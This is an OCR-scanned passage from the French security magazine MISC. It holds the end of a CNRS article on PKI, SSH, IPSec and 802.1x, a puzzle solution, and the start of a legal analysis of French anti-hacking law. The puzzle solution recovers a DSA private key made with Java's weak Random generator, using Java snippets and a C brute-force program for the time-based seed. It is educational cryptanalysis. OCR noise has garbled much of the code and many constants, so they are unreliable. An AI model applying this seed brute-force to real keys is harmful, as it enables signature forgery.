chiffres mais cela n'apporte pas grand-chose en matiéere
de confidentialité puisque lorsque le message transite
de relais en relais, seule la premiére étape est chiffrée,
les autres ne |'étant généralement pas. Evidemment,
I'administrateur doit installer un serveur SMTP
supportant ['authentification du client par cerrtificat et
le configurer en conséquence.

Il faut noter que I'utilisation de ces protocoles sécurisés
de messagerie est une situation ol la sécurité loin
d'apporter des contraintes, facilite grandement la vie de
['utilisateur.

Session

Comme nous l'avons déja vu, les protocoles HT TP IMAR,
POP3, SMTP possedent une version sécurisée. LIETF a
aussi développé des versions sécurisees par TLS de
protocoles comme Telnet et FTR

Des versions sécurisées des serveurs et clients Telnet et
FTP ont eté développées a partir des produits classiques
pour Unix. Malheureusement, les produits pour Windows
que nous avons essayés se sont révéles difficilement
utilisables. En effet, chaque application cliente comme
Telnet ou FTP gérait ses certificats et clés
indépendamment des autres applications, et en particulier
du navigateur Web. En outre, certains produits testes
demandaient a l'installation une fois pour toute le mot
de passe permettant de déverrouiller la clé privée de
I'utilisateur pour la ranger dans un fichier ou le registre
Windows. Ceci impose de faire totalement confiance au
mécanisme d'authentification et de sécurité de VVindows.

La connexion a distance sur une machine ou le transfert de fichiers étant des
besoins legitimes réclamés par les utilisateurs nomades, il a fallu se tourner
vers l'alternative SSH. SSH est a la fois le nom d'un protocole, celui d'un produit
et enfin d'une societé developpant le produit. Il existe une implementation
“libre” du produit OpenSSH. SSH est une alternative a Telnet pour les
connexions a distance et a FTP pour les transferts de fichiers. Les echanges
sont chiffrés, le serveur est authentifié par un mécanisme 3 clés asymétriques,
le client est authentifié soit avec un mot de passe, soit de préférence par un
mécanisme de clés asymetriques. Les méthodes employées sont donc tres
semblables a celles utilisées par SSL/TLS. Par contre, SSH ne fait pas appel a
une IGC et se contente de stocker dans des fichiers sur le serveur et sur le
client les differentes cles publiques. C'est la que se situe la principale faiblesse,
I'expérience montre que le transfert des clés publigues utilise rarement une
méthode digne de confiance. Généralement, on accepte sans aucune vérification
la clé publique présentée par le serveur lors de la premiére connexion. Certes,
pour les connexions suivantes il y aura vérification que la clé du serveur n'a
pas changée. De méme, pour transférer la cle publique du client au serveur,
on se contente souvent d’une connexion authentifice a |'aide d'un simple mot
de passe. Nous attendons beaucoup des nouvelles versions de SSH qui
introduisent le support des certificats X509.

IPSec

IPSec est un protocole destiné a sécuriser |P. Développé a |'origine dans le
cadre de IPvé (la future version d'IP), il est désormais intégre a IPv4 (la version
actuelle d'IP). IPSec permet d'authentifier les extrémités d'une connexion et
offre la possibilité de chiffrer les échanges. || permet aussi de s'assurer que les
données transmises n'ont pas été altérées. Deux modes sont disponibles : le
mode transport pour sécuriser le trafic entre deux machines et le mode tunnel
qui est utilisé pour construire des réseaux privées virtuels (“Virtual Private
Network” ouVPN).

Différentes methodes pour la gestion et la distribution des clés sont permises
par IPSec. Lorsque 'on dispose déja d'une IGC, la méthede utilisant les certificats
X509 s'impose. IPSec fonctionne au niveau de la couche réseau, il est donc
possible de sécuriser les transactions sans avoir a modifier les applications.

Deésormais plusieurs systémes d'exploitation (Windows 2000 et XP, Linux avec
FreeSwan, etc.) implémentent nativement le protocole IPSec ;il n'est donc pas
nécessaire d'installer des produits supplementaires.

Deux classes d'utilisation d’IPSec sont possibles : tout d'abord la creation de
tunnels sécurisés pour relier deux sites distants a travers Internet, ensuite la
connexion au réseau interne de la machine d'un nomade située a |'exterieur.
C'est a cette derniére que nous allons désormais nous intéresser. L'ordinateur
de l'utilisateur nomade devient un élément d’'un VPN. Méme en étant connecté
a 'extérieur il est considéré comme faisant partie du réseau interne. |l n'y a
alors plus de différence entre ce que 'on peut faire en étant connecté sur le
réseau interne ou a I'extérieur.

Lauthentification s'effectue a l'aide d'un certificat client. Comme IPSec se situe
au niveau de la couche réseau et est géré directement par le noyau du systeme
d'exploitation, le certificat est associé & 'ordinateur et non a l'utilisateur. Ce qui
est authentifié est donc 'ordinateur. Avec Windows 2000/XF, un mot de passe
n'est pas demandé a ['utilisateur pour déverrouiller la clé privee, et il n'est pas
possible d'utiliser un dispositif physique comme une carte a puce pour ranger
le certificat et la clé privée associée. Ce qui signifie qu'il faut faire confiance a la
machine et au systeme d'exploitation. La méthode generalement préconisee
consiste a utiliser une couche comme L2TP pour le transport et ['authentification
de l'utilisateur par un mot de passe, ou éventuellement un certificat personnel.

Les principales difficultés rencontrées dans ['utilisation d'IPSec ne sont pas
liées a I'utilisation de certificats mais intrinséques au protocole. Afin d'établir
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une connexion IPSec, le trafic pour les protocoles IP ESP (50),AH(51) et UDP
port 500 doivent étre autorisés sur les differents routeurs et coupe-feu tout
au long de la route. En outre, les paquets IP fragmentés doivent &tre acceptés.
La traduction d'adresse (“Network Addresses Translation” ou NAT) posent de
serieuses difficultes.

802.1x

Le nouveau standard Ethernet 802.1x est une réponse au besoin d'authentifier
les machines ou les utilisateurs connectés sur un réseau local. Aujourd'hui les
trop nombreuses faiblesses dans la sécurité du Wi-Fi en limitent son
développement. Les différents acteurs du marché poussent donc vers I'adoption
de ce nouveau standard afin de conserver leur business. Il faut noter que ce
standard peut aussi étre utilisé pour sécuriser les connexions Ethernet ciblées.

802.1x utilise EAP [9] pour échanger les informations d'authentification.
Plusieurs méthodes d'authentification sont disponibles. La sécurisation duWi-
Fi, WPA aujourd’hui et 802.1 li dans le futur requiert une authentification
mutuelle entre le poste nomade et la borne d'accés. Les méthodes permettant
cette authentification mutuelle exigent au minimum un certificat pour le
serveur : EAP-TLS qui utilise aussi un certificat pour authentifier le client, EAP-
TTLS cu PEAP qui font transiter une authentification du client par mot de
passe dans un tunnel TLS.

Les protocoles 802.|x, EAR,VWPA apportent un mécanisme permettant de
genérer dynamiquement les clés servant a sécuriser les transmissions. C'est
un immense progres par rapport au WEP défini dans le protocole 802.1 1.

Le serveur RADIUS assurant ['authentification peut aussi fournir un certain
nombre d'informations en fonction de qui est authentifié. Parmi ces informations
on peut avoir le numero de VLAN et avec certains modéles de commutateurs
ou de bornes d'acceés, des régles de contréle d'acces (ACL) pour le port concerné.

A notre connaissance, les systémes implémentant de fagon native le standard
802. 1x sont actuellement : Windows 2000 SP4,Windows XP ainsi que MacOS
X, FreeBSD, OpenBSD, Linux avec OpenlLX.

Jusqu'd maintenant, le modéle de sécurité d'un réseau local reposait frequemment
sur le couple fixe (port sur le commutateur, adresse Ethernet) auguel on attribue
des éléments comme I'adresse IP et le numéro de VLAN. Ce n’est pas
completement siir car 'adresse Ethernet peut aisément &tre usurpée. La gestion
est relativement complexe : chaque fois gu'une nouvelle machine est connectée,
une machine existante est déplacée d'une piece a une autre. |l faut mettre a
jour les differentes tables, générer et appliquer les nouvelles configurations des
commutateurs. 802. | x permet une authentification forte de 'ordinateur ou de
I'utilisateur, ce qui est largement plus slir que I'adresse Ethernet et permet
d'affecter des droits d'accés au réseau en conséquence.

Il faut noter que lorsque le besoin d’authentification des machines connectées
sur un reseau s'est fait impérieux, la méthode qui s'est imposée repose sur la
cryptographie a clés asymétriques.

- | Références

= [1] LMCF http://www.Imcp.jussieu.fr

= [2] MISC 13, Les Infrastructures de Gestion de clés : faut-il tempérer les
enthousiasmes 7

» [3] http://2003.jres.org/actes/paper.79.pdf

= [4] SRP, http://srp.stanford.edu/

= [5] MISC 13, PKI Open Source.

= [6] IGC CNRS, http:/iwww.urec.cnrs.friigc/Certifs CNRS.html

= [7] modXLdapAuth, http:ffwww.urec.cnrs.friDistributionsimodXLdapAuth/
= [8] A2C2 http://www.urec.cnrs.fr/A2C2/

= [9] MISCI |, EAF, f'authentification sur mesure

Conclusion

Le fait de maitriser complétement ['lGC, y compris
I'aspect logiciel, s'est avéré extrémement utile dans
un contexte ou tout évolue trés vite. Il a eté
possible ainsi d'ajouter des champs aux certificats
pour tenir compte de nouveaux usages comme
I'authentification des ordinateurs portables
connecteés sur un réseau sans fil. Le deploiement
d'une ICG est une opération colteuse mais une
fois acquise, I'utilisation de certificats pour sécuriser
les applications s'avere souvent bien plus simple
que les methodes concurrentes.

Le développement de ['utilisation des certificats
s'inscrit necessairement sur la durée. |l faut
proceder par étapes. Certaines choses étant plus
faciles a réaliser, il ne faut pas hésiter a prévoir une
planification qui en tienne compte quitte a reculer
la disponibilite de |'application qui est la plus
prometteuse mais de fait la plus délicate a mettre
en ceuvre. Par exemple, au CNRS, l'authentification
a préecedé la signature électronique, ce qui ne
signifie pas que celle-ci ne reste pas un objectif a
terme.

Les IGC possedent bien des défauts [2] mais il faut
constater que les nouveaux protocoles, methodes,
produits utilises en matiere de sécurité font tous
largement appel a des certificats. De fait, il n'existe
pas d'alterpative viable lorsque |'on veut se
prémunir contre l'usurpation d'un serveur. Puisque
le serveur est toujours authentifié a 'aide d'un
certificat, la seule question qui subsiste est de savoir
si on utilise aussi un certificat pour le client ou
bien si on de contente d'un mot de passe qui
transite dans un tunnel sécurisé. La réponse dépend
du contexte. Notre expérience au CNRS montre
que [l'utilisation de certificat client est,
contrairement a ce que I'on pense généralement,
finalement plutdt plus simple.

Avec une IGC, il est théoriquement possible de
résoudre un large spectre de problemes lies a la
securisation comme |'authentification, la signature,
I'intégrite, la confidentialite, la non-répudiation.
Cependant, tous les documents, toutes les
opérations n'ont pas le méme besoin sécurité. ||
doit y avoir une bonne adéequation entre les
exigences de sécurite et les contraintes imposees.

En restant raisonnable dans les objectifs, il a ete
possible au CNRS de mettre en ceuvre et deployer
une IGC qui rend déja bien des services et améliore
considérablement la sécurite globale.

Pour une IGC ayant le plus haut niveau de
qualification juridique, valable pendant des dizaines
d'années, il faudra peut-étre s'adresser a un
prestataire specialisé.
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De l'alea des générateurs

Limplementation d'attaques a l'encontre de systémes
cryptographiques demeure souvent pour tout un chacun I'apanage
d'organisations gouvernementales ou de centres de recherche
munis de puissants clusters de calcul. Un des intéréts de cette
enigme est de montrer que ce n'est pas toujours le cas, et qu'un
particulier muni d'un PC peut venir & bout d'algorithmes complexes
présentant une vulnérabilité dans leur mise en ceuvre - et croyez-
moi, ils ne sont pas si rares.

La solution présenteée par la suite ne se veut pas unique, ou bien
meilleure, mais je lui trouve ['avantage d'étre rapide et efficace.

Le DSA est un algorithme de signature numérique dériveé de El
Gamal propose par le National Institute of Standards and Technology
(NIST) americain en aoit 1991. Il est depuis devenu un Federal
Information Processing Standard (FIPS 186 [2]) sous I'appellation
DSS (Digital Signature Standard), et ainsi le premier algorithme de
signature numeérique reconnu par un gouvernement.
La generation d'une cle DSA a pour étapes ;
® la genération d'un nombre premier g tel que 2’ < g < 2'*;
= la génération d'un nombre premier p tel que
27464t < p < 2°"+64t,avec 0 <=t <= 8 et tel que g divise p - |
= |a determination d'un nombre alpha, générateur du groupe
cylique unigue d'ordre q_dans Z*P _ _
® la géneration d'un nombre g aléatoire tel que | <=a<=gq- |
= le calcul de y = alpha*mod p
La clé publique est alors (p, g, alpha, y) et la clé privee a.
La génération d’'une signature se fait comme suit :
= selection d'un nombre aléatoire k secret, tel que 0 <k < g
® calcul de r = (alpha* mod p) mod g
® calcul de k' mad q
® caleul de s = k'{hfm)+ ar} mod g
La signature du message m est alors le couple (r, s).

Afin de vérifier une signature, il vous faudra :

= vérifier que 0 <r <gqet 0 <s < g, dans le cas contraire, rejeter
la signature
= calculer w = s'mod q et him)

= calculer v = {alpha*' y** mod p) mod q

et n'accepter la signature que si r = v. Quant aux démonstrations,
vous les trouverez dans le HAC [I].

Identification de la vulnérahilité
2.

Par défaut, Java dispose de plusieurs moyens afin de génerer des
nombres pseudo-aleéatoires. Un rapide coup d'eceil a la
documentation du J25DK fournit les informations suivantes :

Kostya KORTCHINSKY - CERT RENATER
lkostya.kortchinsky@renater.fr

" java.util.Random [3] D'apres la documentation, cette classe
utilise une graine de 48 bits, modifiée selon une formule de
congruence lineaire. Elle utilise une méthode protegée afin de
générer des nombres de 32 bits.

= java.security.SecureRandom [4] |l s'agit d'une classe
implémentant un générateur de nombre pseudo-aleatoires fort,
répondant aux spécifications de FIPS 140-2, dont les données
utilisées pour la graine se doivent d'étre imprévisibles et les
sequences generees cryptographiquement fortes.

Le générateur de nombres pseudo aléatoires devant étre utilisé
dans un contexte cryptographigue est bien entendu SecureRandom.
Des recommandations concernant de tels générateurs sont
disponibles dans le RFC1750 [5], ou dans FIPS 140-2 [6].
Cependant, la classe sur laquelle reposent ces quelques lignes de
code est Random, dont I'espace des graines possibles est relativement
reduit et potentiellement facile a parcourir de facon exhaustive.

Nous voici donc confronte a une instance du probléme connu de
la faiblesse du PRNG (Pseudo Random Number Generator) dans un
contexte cryptographigue.

3.

La taille de la graine nous est indiquee dans les specifications du
J2SDK : 48 bits. et nous le vérifierons par la suite. Elle peut étre
initialisée de differentes fagons, il nous suffit de parcourir
Random.java pour relever les elements suivants :

B constructeurs :
public Random() { this(System.currentTimeMillist)); } // Date courante en
mtllfsecondes
public Random(long seed) {
this.seed = AtomicLong. newhtomicLong(dL);
setSeed(seed);
}
= méthode setSeed (constantes remplacées) :
synchronized public void setSeed(long seed) {
seed = (seed " @x50EECE6BDL) & (1L << 48) - 1); // Nous avens bien un
masque 1imitant @ 48 bits
whiletlthis,sead, attenptiet(seed)
haveliexthextGaussian = false;
}
Dans le cas qui nous intéresse, le constructeur par defaut est
appelé, initialisant donc la graine grice a un setSeed() de la date
courante en millisecondes, a laquelle sera appliquée un “ou exclusif"
binaire simple. Les commentaires de SUN stipulent que deux
instances de Random initialisees avec des graines identiques
produiront les méme séquences de nombres pseudo aleatoires,
cela sera indispensable pour la suite.

4,

L'espace des graines possibles était déja relativement restreint (2*
au plus), mais I'utilisation de la date courante en facilite le parcours.
Un moyen comme un autre de parcourir cet espace est de
remonter le temps a partir d'un instant ulterieur mais relativement
proche de la date de génération de la clé (instant présent, date de
publication de MISC, date d'impression...) : un parcours de 4 mois
(plausible) représentera un peu plus de 2* graines.
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Implémentation et optimisation de U'attague

5.

On peut deduire de cela une méthode trés simple, mais totalement
inefficace, afin de retrouver une graine a partir d’'un nombre premier
geneéreé de la maniere precedemment décrite :
1l qde Ta c1é publique
Biglnteger biReall = new
Biglnteger(“e298c76387404chddeebebcabdo0] 3acalldd]", 16);
Biglnteger bil;
Random rGenerator = new Random();
Tong 15eed = System.currantTimeMillis();
o {
rGenerator.setSeed(15eed);
bifl = new Biglnteger(l6l, 2, rGeneratarl;
15eed-;
} while (1 biReald.equals(bil));

Cette methode ne ménera a rien sur un ordinateur personnel, car
effectuant quelques |30 itérations par secondes. Les raisons de
telles performances sont encore floues, bien qu'il y ait fort a parier
que les tests de primalité soient en cause, dans la mesure ou il peut
s'agir d'opérations lourdes et par-la méme coliteuses en temps
machine. Une veérification informelle sans tests de primalité (a avoir
en utilisant Biglnteger(168, rGenerator)) produit des resultats plus
encourageants, de 'ordre de 805000 iterations par seconde.

6.

Poursuivons sur cette piste, et penchons-nous sur la génération de
grands nombres pseudo-aléatoires premiers, située dans le fichier
Biginteger.java. Pour resumer, elle se fait en deux temps :
= un nombre aléatoire pair de bitLength bits est génére (fonction
TargePrime(]) :
Biginteger x;
% = new Biglnteger{bitlength, rnd].setBit(bitlength - 1);
X.magix.mag.length - 11 &= Bxfffffffe;
= |le nombre premier immeédiatement supérieur a ce nombre est
determine, on boucle eventuellement si aucun candidat n'est
retenu (cas de figure que I'on mettra de céte pour les premieres
tentatives).

En poussant un peu, on trouvera que Java utilise successivement
pour déterminer la primalite d'un grand nombre :
= une méthode de “passcire” simple (classe java.math.BitSieve);
= un test de Miller-Rabin [7] ;
= un test de Lucas-Lehmer [8].

L'ecart moyen entre le nombre génére x et ce fameux nombre
premier immediatement supérieur (appelons le xprime) est
grossiérement de I'ordre de log(x) [9] , qui vaut environ | 10 dans le
cas qui nous intéresse. || est donc raisonnable de penser que la
majeure partie des bits de poids fort de x et xprime est identique.

Pratiquement, les quelques lignes de code suivant illustreront cela :
Tong 15eed = System.currentTimeMillis();
rGenerator. setSeed(1Sead);
{/ Nombre premier de 168 bits
Biginteger bikprime = new Biginteger(168, Z, réenerator);
rGenerator,setSeed(15eed);
// Mombre de 168 bits avec bit de poids fort & 1

Biginteger biX = new Biglnteger(168, rGenerator).setBit{159);
System.out.printTn(biX.xor(biXprime).bitLength()]);

Il nous suffic par conséquent d'approximer Biginteger (168, 2. renerator)
par Biglnteger(168, rGenerator).setBit(15%), et de ne comparer que les bits
de poids fort (96 suffiront amplement) du g calcule et du g de la
clé publique, nous affranchissant ainsi des tests de primalite. Le gain
en performance est consequent, I'ensemble restant toujours un peu
lent.

7.

Mais bon, quel est I'intérét de génerer 160 bits si seulement 96 nous
suffisent {voire moins) ? |l convient alors de regarder un peu plus
en detail la géneration de nombres aleatoires de la classe Random.

Nous y découvrons rapidement que la generation du grand entier
x se resume a un appel a randondits(nunBits, rnd) ; le travail se reduit
alors a |'étude de cette fonction :
private static byte[] randomBits(int numBits, Random rnd) {
if (numBits < §)
throw new [11egalArgumentException( “numBits must be non-negative”);
int numBytes = (numBits+7)/8;
bytel] randonBits = new byte[numBytes];

/1 Generate random bytes and mask out any excess pits
1f (numBytes > 4) {
rnd.nextBytes{randomBits};
int excessBits = B*numBytes - numBits;
randomBits[f] &= (1 << (B-excessBits)) - 1;
1
return randomBits;

}

Toujours en parcourant Randon, java, on trouve :

private static final int BITS_PER BYTE = §;
private static final int BYTES_PER INT = 4,

public void nextBytes(byte[] bytes) {
int numRequested = bytes,length;

int numbot = @, rnd = 0;

while (true} {
for (int 1 = @; i < BYTES_PER.INT; i++) {
if (numéot = numRequested)
return;

rnd = [1==0 T next{BITS_PER_BYTE * BYTES_PER_INT)
: rnd >> BITS_PER_BYTE);
bytes{numaot++] = (bytelrnd;
}
}
3

En conformité avec la documentation de Java citée en |, la géneration
de nombres aleatoires se fait donc par blocs de 32 bits, via la fonction
next() :
protected int next(int bits) {
Tong ofdseed, nexiseed;
do {
oldseed = seed.get();
nextseed = (oldseed * BXSOEECEABDL + @xBL) & ((IL << 48) - 1);
1 white (!seed.attemptUpdateloldseed, nextseed));
return (int)(nextseed >>> (48 - bits));
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Ainsi, l'ensemble des opérations effectuées peut étre
considerablement diminué pour qu'au final nous nous contentions
de travailler sur des nombres pseudo-aléatoires de 32 bits (hélas
on ne peut se passer des 48 bits de la graine) : nous générons un
bloc de 32 bits (le bit de poids fort force a |) et le comparons aux
32 bits de poids fort de g ; s'ils correspondent, nous genérons un
nouveau bloc et le comparons aux 32 bits suivants, sinon, nous
passons a la graine suivante. §'il y a correspondance sur 64 bits,
nous avons une graine probable et pouvons nous permettre
d’effectuer des tests a taille réelle.

La machine virtuelle Java semble aussi étre un facteur limitant pour
les performances du programme, la transposition de 'algorithme
précedent en C prendra peu de temps,

8.

En continuité avec les questions précédentes, nous obtenons
{gce -03 -Nall -0 brute brute.c) :

#include <stdio.h>

#include <tipe.h>

#define MULTIPLIER Bx5deecedfdllL
#detine ADDEND @xbUL
#define MASK BxfFFFefffffuLL

int main{int argc, char *argv[])
{
time_t thate;
unsigned lang Tong int uliiSeed, ulliTime; // entiers de 64 bits

ulTiTime = (unsigned Tong long int)Ctime(NULL)) * 1008;
while (1)

/1 e298c76387464chddeebe62cab35R193a2cadda?
ulliSeed = ulliTime * MULTIPLIER; // setSeed - ‘k MASK® non nécessaire de
par la taille des opérandes
ulTiSeed = (u1115eed * MULTIPLIER + ADDEND) & MASK; // next
if (((unsigned int)(ul1iSeed >> 16) | Bx88) = Bx63c798e2UL) // sans
oublier de mettre 4 1 le bit de poids fort
{
ulliSeed = (ulliSeed * MULTIPLIER + ADDEND) & MASK; // next
if ((unsigned inti(ulliSeed >> 16) = Oxbddc4687UL)
{
/1 Des tests plus précis peuvent Btre insérés ici,
// mafs je pense que vous aurez compris le principe ...

N |

thate = (time_t)(ulliTime / 1008);
printf(“Graine probable : ¥11u, datant du : %", ulliTime,
ctime(tDate));
break;
1
J

ul1iTime=;

}

return @;

}

Le nombre d'itérations est enfin a la hauteur de nos attentes, 25 a
30 millions par seconde. La graine devrait étre trouvee en moins
de 5 minutes.

kostya@lcare:~$ time ./brute
Graine probable : 1872911680808, datant du : Thu Jan 1 00:00:08 2084

real  Bnm53,523s

user  Bmad.52ds
55 fmd . 8085

Détermination de la clé privée

9.

Une fois la graine détermineée, il suffit d’insérer une ligne dans le
programme donne :

renerator. setSeed( 1872011600000 );

Et vous obtiendrez sans trop de mal :

a = 93c2abbed7cadd9zelafTicc eabdhSBadcdee

Conclusion

Cas particulier ? Libre a chacun de le penser. Néanmoins ce
n'est pas |'avis d'un certain nombre de “crackers” qui ont
amplement parcouru le sujet avec un succes pour le moins
surprenant : récupération de clées privées, falsification de
signatures quel que soit l'algorithme, exploitation
de débordement de buffers, et ce avec un unique point
commun : une faiblesse d'implementation trouvée et
exploitée.

l Références

= [1] Handbook of Applied

nature Standard (DSS) : http:/fwww.itl.nist.gov/fipspubs/fip | 86.htm

* [3] Java 2 v1 4.2 API Specification - Class Random : http://java.sun.comij2se/1.4.2/docs/apiljavalutil/Random.html

* [4] Java 2 v1 4.2 AP| Specification - Class SecureRandom : httpf/java.sun.com/j2se/ | 4.2/docs/apiljavalsecurity/SecureRandom.html
= [5] Randomness Recommendations for Security : http://www.ietf.org/rfc/rfcl 750.txt

= [6] Security Requirements for Cryptographic Modules : http:/icsrc.nist.govicryptvall 140-2.htm

® [7] Miller-Rabin’s Primality Test : http://www.security-labs.orglindex.php3?page=5

= [8] Finding primes & proving primality : http://lwww.utm.edulresearch/primes/prove/prove3_2.html|

* [9] How Many Primes Are There? : http://www.utm.edu/research/primes/howmany.shtml

(2)
\B)

-] IsIL

+007 Inoeaa|in




)

m Nouvel article 323-3-1 du Code pénal : le cheval de Troie du législateur ?

- juillet/aotit 2004

Misc 14

Nouvel article 323-3-1 du Code pénal
le cheval de Troie du législateur ?

Résumé introductif. « Le fait, sans motif légitime, d'importer, de
deétenir, d'offrir, de céder ou de mettre a disposition un équipement, un
instrument, un programme informatique ou toute donnée congus ou
spécialement adaptés pour commettre une ou plusieurs des infractions
prévues par les articles 323-1 a 323-3 (du code pénal) est puni des
peines prévues respectivement pour l'infraction elle-méme ou pour
llinfraction la plus sévérement réprimée ». Tel est le nouveau dispositif
en passe d'étre introduit par le législateur! dans I'arsenal répressif
de lutte contre la cybercriminalite. Congu, comme le rappelle M.
Alex TirkZ, pour permettre en particulier de « sanctionner la
detention ou la mise a disposition de virus informatiques, sans qu'il
soit besoin que ledit virus ait eté introduit frauduleusement dans
un systeme de traitement automatisé de données? », le futur article
323-3-1 souleve de nombreuses interrogations guant a son contenu,
sa portee et parfois méme sa légitimité, ainsi que le révele une
analyse critique point par point des éléments constitutifs de cette
nouvelle incrimination.

On peut distinguer, 2 la lecture de I'article 323-3-1, trois éléments
constitutifs de I'infraction « d'abus de dispositifs »4 :
1° - le fait d'importer, de détenir, d'offrir, de ceder ou de mettre
a disposition ;
2° - un équipement, un instrument, un programme informatique
ou toute donnée congus ou spécialement adaptés pour
commettre une ou plusieurs des infractions prévues par les
articles 323-1 a 323-35 ;
3° - sans motif légitime.

Etudions ensemble chacun de ces points en essayant d'en analyser
brievement le contenu et la portée.

1« Le fait d'importer, de détenir, d’offrir,
de céder ou de metire a disposition » :
vers un systéme « Precrime »®

ou l'anticipation de la cybercriminalité.

La nouvelle incrimination vise des faits allant de la fourniture
(« offrir », « mettre 4 disposition », « céder », « importer ») a la
simple possession (« détenir »). Le champ d'application visé est
donc potentiellement tres vaste et, 4 tout le moins, « dépasse
largement les besoins de la lutte contre les virus informatiques »7 (allegueé
a l'origine par ses partisans).

Par exemple, la répression de la « mise a disposition » permettra
desormais d'interdire 'action de mettre en ligne sur un site web
consacré au piratage (sites de hacking, carding, phreaking, etc.), des
dispasitifs (equipement, instrument, programme informatique) ou
toute donnée « cyber-criminogene », pour que ceux-ci puissent
étre téléchargés et utilisés par autrui. On pourra englober egalement
sous cette expression la création ou la compilation d’hyperliens
visant a faciliter I'acces a ces dispositifs.

Cependant, au jeu du « Cherchez l'intrus », un élément isolé ressort
tres nettement de la précédente énumeration, 'ensemble des actes
de fourniture visés impliguent en effet un caractére pro-actif :
« importer », « offrir », « céder » et « mettre a disposition » sont
tous des verbes d’action, tandis que le fait de « détenir » (verbe d’état)
est par essence, purement passif. Des lors, on peut s'interroger sur
le bien-fondé de cette responsabilite pénale du fait de la simple
possession des matériels et données incriminés?, par rapport a des
comportements plus « hacktivistes » susceptibles d'entraver I'efficacite
du dispositif répressif en matiére de lutte contre le cybercrime.

Deéja, cette incrimination qui tend a sanctionner les « attitudes
d'amont »? et prévenir les actes d'accés et de maintien indu dans
les systemes d'information, était apparue dans le texte du projet

! Articla 34 du projet de Lol pour la Confiance dans |'Economie numerique, tel qu'issu du vote en lecture definitive du 14 mai 2004 par le Senat. 4 |'issue de la procédure de Commission Mixte
Paritaire. Le texte est actuellement soumis  un contréle de constitutionnalita. .. o
2 Auteur de lavis n” 351, fait au nom de la Commission des Lois, déposé fe | | juin 2003 devant le Sénat en premiére lecture - https/t
JInfraction principale sanctionnée sur le fondement de I'article 323-1 du Code pénal.

“4Selon I'expression consacrée (en son article 6) par la € ion sur |a cybercri & (STE No, 185) venti ee |e B nover -Zﬂoidwwhwdredulutwi“"usmndu&mdl
de I'Europe, ouverte i |a signature, 3 Budapest, le 23 novembre 2001 a l'oecasion dekCanférem:e !mnminmkmr hCybm-.rknhuﬂm.u qui est encrée en vigueur e |8 mars 2004, suite a la
ratification du texte par fa Lituanie; Consulter le texte a 'adresse ; http://conventions.coe.int/ Treaty/fri Treaties/Heml/ | 85.html. Pour un resume : Etienne Wery, La convention intemationale
sur la eybercriminalité entre en vigueur, 22 mars 2004 : http://www.droit-technologie.org/|_2.asplactu_id=909 e

5 Pour memaire, rappelons que ces infractions (introduites par la loi Godfrain en 1998) visent : - 'acces ou le maintien dans un « systéme de traitement automatisé de données » (STAD), - I'entrave
ou |e faussement des systemes et enfin, - ['introduction, la modification ou la suppression frauduleuse de données.

¥ Reférence au film de Steven Spielberg. Minority Report, basé sur une nouvelle de Philip K. Dick. Uhistoire raconte comment, dans un ﬁ:mrmprochc.hcrhma é:é presque totalement supprimé
de Ia ville de Washingron-DC par la mise en osuvre d'une techiologie appelés PRECRIME, qui permet de détecter 4 'avance les meurtres et autres crimes graves, grice aux visians de trois “médiums”,
les precogs. -
7 pinsi que le soulignait Mme Evelyne Didier, chargee de présenter lamendement n® 84 lors de la séance de debats au Sénat du 25 juin 2003. Cf le dossier sur ht:l:p..’.‘www.senat.fr
'En:z ‘sens, voir les amendements n® 61 et 63 tendant & la suppression de [Nncrimination relative 4 fa détention, et soumis au vote du Senat lors de la seance du 25 juin 2003 Amendements
rejetés au motif qu'lls semblent « contraire(s) & Mardicle & de Ia Convention sur la cybereriminalicé adopté par e Conseil de 'Europe ».

?Selon 'expression de M. Christian Le Stane, Du « Hacking » considéré comme un des beaux orts et de [opportun renforcement de sa répression — Communication, Commerce electronique. avril 2002,
page ¥ (editions [CP)

senat.frirap/a02-351/a02-35 1 html
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de loi sur la société de I'information (LSI), a l'article 35'%, mais sans
faire référence a la notion de détention.

C'est donc en réalité sous I'impulsion de la Convention sur la
cybercriminalité! ! que les parlementaires francais ont ajouté a la
liste des actes visés l'importation et, surtout, la possession. Dans
le rapport explicatif de la Convention, il est exposé que
I'incrimination «d'abus de dispositifs » qui tend a mettre en place
une infraction pénale distincte et independante de la commission
intentionnelle des infractions contre l'intégrité et la disponibilite
des données et systemes informatiques!Z doit permettre d'interdire
« des actes spécifiques potentiellement dangereux a la source'’, avant
{méme) la commission des infractions ».

Ainsi, cette logique d'anticipation de la cybercriminalité conduit a
faire tomber certains actes, que I'on pouvait précédemment qualifier
en droit penal frangais de simples actes préparatoires (non punissables
au titre de la tentative)'4, sous le coup d'une répression autonome,
« quasi automatique » selon I'expression méme de M. Patrick
Devedjian, ministre délégué a I'lndustrie, deplorant 4 cet égard la
latitude souvent prise par le legislateur avec I'élément intentionnel.

En conséquence, on peut aisement comprendre que, comme le
DMCA (Digital Millenium Copyright Act)'* adopté aux Etats-Unis en
2001, le futur article 323-3-1 possede un caractére effrayant (chifling
effect) y compris pour la communauté des scientifiques et des
ingenieurs du secteur de la sécurité informatique. lls ont encore
en mémoire les affaires Felten!é et Dimitri Sklyarov!7 qui les ont
mobilisés en 2000 et 2001, dans lesquelles la loi a parfois été utilisee

comme un instrument d'intimidation pour limiter la sacro-sainte
liberté d'expression ameéricaine.

En définitive, il convient donc de s'interroger sur les contours plus
précis de lincrimination et les garde-fous envisages par le législateur
a travers les autres éléments constitutifs de l'infraction :

2 « Un éguipement, un instrument,

un programme informatigue ou toute donnée
concus ou spécialement adaptés pour
commetire une ou plusieurs des infractions
prévues par les articles 323-1a 323-3

(du Code pénal) » : 'avenement d'une
nouvelle catégorie de hiens a double usage

Comme l'article L.163-4-1 du Code monetaire et financier
incriminant la fourniture de moyens permettant la contrefagon ou
la falsification de monnaie et cartes bancaires!8, I'article 323-3-|
vise, dans une rédaction tres proche (sinon identique}, a une
répression autonome de la fourniture de moyens de piratage
« congus ou spécialement adaptés pour commettre une ou plusieurs des
infractions prévues par les articles 323-1 a 323-3 », c'est-a-dire
permettant directement ou facilitant la commission de ces
infractions. Si I'énonce des dispositifs (« un équipement, un instrument,
un pregramme informatique ou tout donnée ») n'appelle pas de
commentaire particulier, il en va differemment des caractéristigues
qui leur sont attachées (« congus ou specialement adaptes ») et

10 Article 35 du projet LSI - dans son état du 14 juin 2001 — « . —Aprés 'article 323-3 du Code pénal, il est inséré un article 323-3-1 ainsi rédigé : le fait d'offrir, de céder ou de mettre 4 disposition
un programmie informatique congu pour cammattre une ou plusieurs des Infractions prévies par les articles 323-1 a 323-3 est puni des peines previes respectivement pour ['infraction elle-meme
ou pour lnfraction la plus sevérement réprimée. (...) »

! Opecit., ote 4 I o

